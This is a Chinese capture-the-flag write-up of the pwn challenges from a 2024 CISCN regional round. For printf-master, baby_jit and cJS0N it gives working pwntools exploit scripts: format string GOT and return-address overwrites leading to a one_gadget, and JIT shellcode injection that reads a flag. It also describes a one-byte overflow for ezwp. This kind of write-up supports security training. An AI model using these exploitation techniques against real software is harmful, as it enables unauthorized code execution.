2024CISCN 华东南分区赛(AWDP)PWN题全WP

WriteUp 3周前 admin
60 0 0

招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

printf-master-attachment

先是init初始化了一些参数

2024CISCN 华东南分区赛(AWDP)PWN题全WP


后gift函数给了2位的地址

2024CISCN 华东南分区赛(AWDP)PWN题全WP

点击并拖拽以移动

在func中有一个fmt漏洞

2024CISCN 华东南分区赛(AWDP)PWN题全WP

点击并拖拽以移动

思路就是利用fmt造成无限循环,因为没用开got表保护,可以篡改got表然后执行execve

fmt是非栈上的,就需要利用跳板篡改,还禁用了$,利用堆叠占位符就能解决。

在非栈上格式化,利用跳板肯定需要知道栈地址,所以第一步gift需要泄露栈地址

2024CISCN 华东南分区赛(AWDP)PWN题全WP

img

因为开了pie,现在手上没有其他地址,需要边泄露地址边劫持返回地址

这里存在三级跳板,P1用来修改地址到printf的返回地址,P2用来修改返回地址

printf返回地址篡改为start需要爆破1/16

2024CISCN 华东南分区赛(AWDP)PWN题全WP

img

start地址为0x11b0

2024CISCN 华东南分区赛(AWDP)PWN题全WP


爆破成功篡改返回地址为start

2024CISCN 华东南分区赛(AWDP)PWN题全WP

img

P1改栈为printf返回地址的栈指针,P2修改返回地址

2024CISCN 华东南分区赛(AWDP)PWN题全WP

img

然后会执行start后再次有fmt漏洞,但是之前篡改的时候可以泄露地址,就有了所有的基地址

就可以修改exit_got为start,造成无限循环利用fmt

修改exit_got也是利用跳板,但是需要地址为elf的跳板,这样修改低位就能直接指向got表

2024CISCN 华东南分区赛(AWDP)PWN题全WP

img

2024CISCN 华东南分区赛(AWDP)PWN题全WP

img

指向got表之后,下一个地址就可以修改got表中的地址

最后利用跳板修改stack_chk_fail_got为one_gadget,然后修改exit_got为stack_chk_fail_plt完成调用

exp

from pwn import *
from LibcSearcher import*
from ctypes import *

FILENAME='../pwn5'
libc=ELF('../libc-2.31.so')

context.arch='amd64'
def pwn():
    p.sendline(b'1')

    p.recvuntil(b'0x')
    add=int(p.recv(4),16)
    success('add '+hex(add))
    
    p.recvuntil(b'name?')
    p1='$17'#$18
    p2='$45'
    num=add-2*15-0x86-0x18
    stat_lox=0x11B0
    
    of=(0x10000-num)+stat_lox-0x1B3#aa98
    success('of '+hex(of))
    payload=f'%p'*(15)+f'%{num}c%hn'+'%p'*(45-17-1-1)+f'%{of}c%hn'
    p.sendline(payload)
    for i in range(7):
        p.recvuntil(b'0x')
    p.recvuntil(b'0x')
    heap_add=int(p.recv(6*2),16)
    heapbase=heap_add-0x3b0
    
    p.recvuntil(b'0x')
    p.recvuntil(b'0x')
    stack_add=int(p.recv(6*2),16)
    
    p.recvuntil(b'0x')
    elf_add=int(p.recv(6*2),16)
    elfbase=elf_add-0x6bd-0x1000
    p.recvuntil(b'nil')
    p.recvuntil(b'0x')
    libc_add=int(p.recv(6*2),16)
    libcbase=libc_add-libc.sym['__libc_start_main']-243
    

    p.recvuntil(b'what',timeout=2)
    return heapbase,stack_add,libcbase,add,elfbase
    

for i in range(16):
    try:
        p= process(FILENAME)
        
        heapbase,stack_add,libcbase,add,elfbase=pwn()
        success('libcbase '+hex(libcbase))
        success('stack_add '+hex(stack_add))
        success('heapbase '+hex(heapbase))
        success('elfbase '+hex(elfbase))
        one_gadget=[0xe3afe,0xe3b01,0xe3b04]
        execve=libcbase+one_gadget[1]
        success('execve '+hex(execve))
        
        p0='$29'#17
        p1='$58'#34
        target=(elfbase+0x4020)&0xffff
        target2=((elfbase+0x11B0)&0xffff)+(0x10000-target)
        print(hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x142}c%hn'
        payload+='%p'*(58-29-2)+f'%{target2-0x129}c%hn'
        p.sendline(payload)
        
        
        p.recvuntil(b'what',timeout=2)
        
        system_add=libcbase+libc.sym['system']
        p0='$29'#17
        p1='$64'#3a
        stack_chk_fail_got=elfbase+0x4030
        target=(stack_chk_fail_got)&0xffff
        target2=(execve)&0xffff
        print("stack_chk_fail_got_1",hex(target2))
        if(target2<target):target2=target2+(0x10000-target-361)
        else: target2=target2-target-361

        print("stack_chk_fail_got_1",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload) 
        
        
        p.recvuntil(b'what',timeout=2)
        p0='$29'#17
        p1='$64'#3a
        target=(stack_chk_fail_got+2)&0xffff
        target2=((execve>>(8*2)))&0xffff
        print("stack_chk_fail_got_2",hex(target2))
        
        if(target2<target):target2=target2+(0x10000-target-361-0x19)
        else: target2=target2-target-361-0x19
        print("stack_chk_fail_got_2",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload) 
        
        p.recvuntil(b'what',timeout=2)
        
        p0='$29'#17
        p1='$64'#3a
        target=(stack_chk_fail_got+4)&0xffff
        target2=((execve>>(8*4)))&0xffff
        print("stack_chk_fail_got_3",hex(target2))
        
        if(target2<target):target2=target2+(0x10000-target-361-0x19)
        else: target2=target2-target-361-0x19
        print("stack_chk_fail_got_3",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload)  


        p.recvuntil(b'what',timeout=2)
        
        p0='$29'#17
        p1='$64'#3a
        target=(elfbase+0x4020)&0xffff
        target2=(elfbase+0x1130)&0xffff
        print("exit_got",hex(target2))
        
        if(target2<(target+361+0x19)):target2=target2+(0x10000-target-361-0x19)
        else: target2=target2-target-361-0x19
        print("exit_got",hex(target),hex(target2))
        payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
        payload+='%p'*(64-29-2)+f'%{target2}c%hn'
        p.sendline(payload)  
        p.interactive()

    except:
        p.close()
点击并拖拽以移动

baby_jit

开了一个禁用59(execve)的沙盒

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230042691

程序就两个功能一个add一个exec

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230100773

add函数,申请了chunk_s来存储输入的内容(0x30)没溢出,然后申请dest存储限制长度后的数据

2024CISCN 华东南分区赛(AWDP)PWN题全WP


exec函数中ptr+(n)都是指针位移用来汇编写入的正确性,*(ptr+n)直接赋值机器码用来功能的计算,在后面有一个call mmap空间,这个偏移是自己可控的,就偏移打到自己输入的数据中,控制数据执行正确的汇编即可,先执行read然后再读入flag

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230133731

2024CISCN 华东南分区赛(AWDP)PWN题全WP

img

exp

from pwn import *
from LibcSearcher import*
from ctypes import *

FILENAME='../baby_jit'
p= process(FILENAME)

context.arch='amd64'

def Add(context):
    p.recvuntil(b'>>')
    p.sendline(b'1')
    p.sendline(context)
def Exec(context):
    p.recvuntil(b'>>')
    p.sendline(b'2')
    p.recvuntil(b'offset')
    p.sendline(context)
sh='''
nop
push   rax
pop    rdi
push   rdx
pop    rsi
syscall
'''

calc_sh= str(u64(asm(sh).ljust(8,b'x00')))

Add(f'add {calc_sh}')

Exec(b'0.3')
sleep(1)
p.sendline(b'x90'*(0x20)+asm(shellcraft.cat('flag')))
p.interactive()
点击并拖拽以移动

cJS0N

在del功能中存在fmt漏洞

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230255592

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230316485

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230324812

在输入data name的时候控制字符串,并且是存在栈上的,直接利用fmt修改返回地址为one_gadget,然后退出触发

exp

from pwn import *


FILENAME='../json'
p= process(FILENAME)
libc=ELF('../libc.so.6')

context.arch='amd64'

def show(name):
    p.recvuntil(b'>')
    p.sendline(b'4')
    p.recvuntil(b'name')
    p.sendline(name)

p.recvuntil(b'size')
p.sendline(b'20')
p.recvuntil(b'Json')
p.sendline(b'21')
show(b'%27$p%10$p')

p.recvuntil(b'0x')
libc_add=int(p.recv(6*2),16)
libcbase=libc_add-libc.sym['__libc_start_main']-243
success('libcbase '+hex(libcbase))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
execve=libcbase+one_gadget[1]
success('execve '+hex(execve))

p.recvuntil(b'0x')
stack_add=int(p.recv(6*2),16)
success('stack_add '+hex(stack_add))


stack_add+=0x8
f=execve&0xffff
payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hn'
payload=payload.ljust(0x10,b'x00')
payload+=p64(stack_add)

show(payload)



f=(execve>>(2*8))&0xff
print(hex(f))
payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hhn'
payload=payload.ljust(0x10,b'x00')
payload+=p64(stack_add+2)

show(payload)

p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'name')
p.sendline(b'dw')

p.interactive()
点击并拖拽以移动

ezwp

打开页面发现了phpinfo界面,尝试搜索ctf发现,在环境变量中找到flag。

从myphp.so中发现可以直接输出flag,但是需要密钥正确,密钥长度32,限制长度24,需要绕过

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230357268

2024CISCN 华东南分区赛(AWDP)PWN题全WP

image-20240625230453918

len为单字节,使用单字节溢出就可以绕过

– END –

2024CISCN 华东南分区赛(AWDP)PWN题全WP


原文始发于微信公众号(ChaMd5安全团队):2024CISCN 华东南分区赛(AWDP)PWN题全WP

版权声明:admin 发表于 2024年6月26日 上午8:12。
转载请注明:2024CISCN 华东南分区赛(AWDP)PWN题全WP | CTF导航

相关文章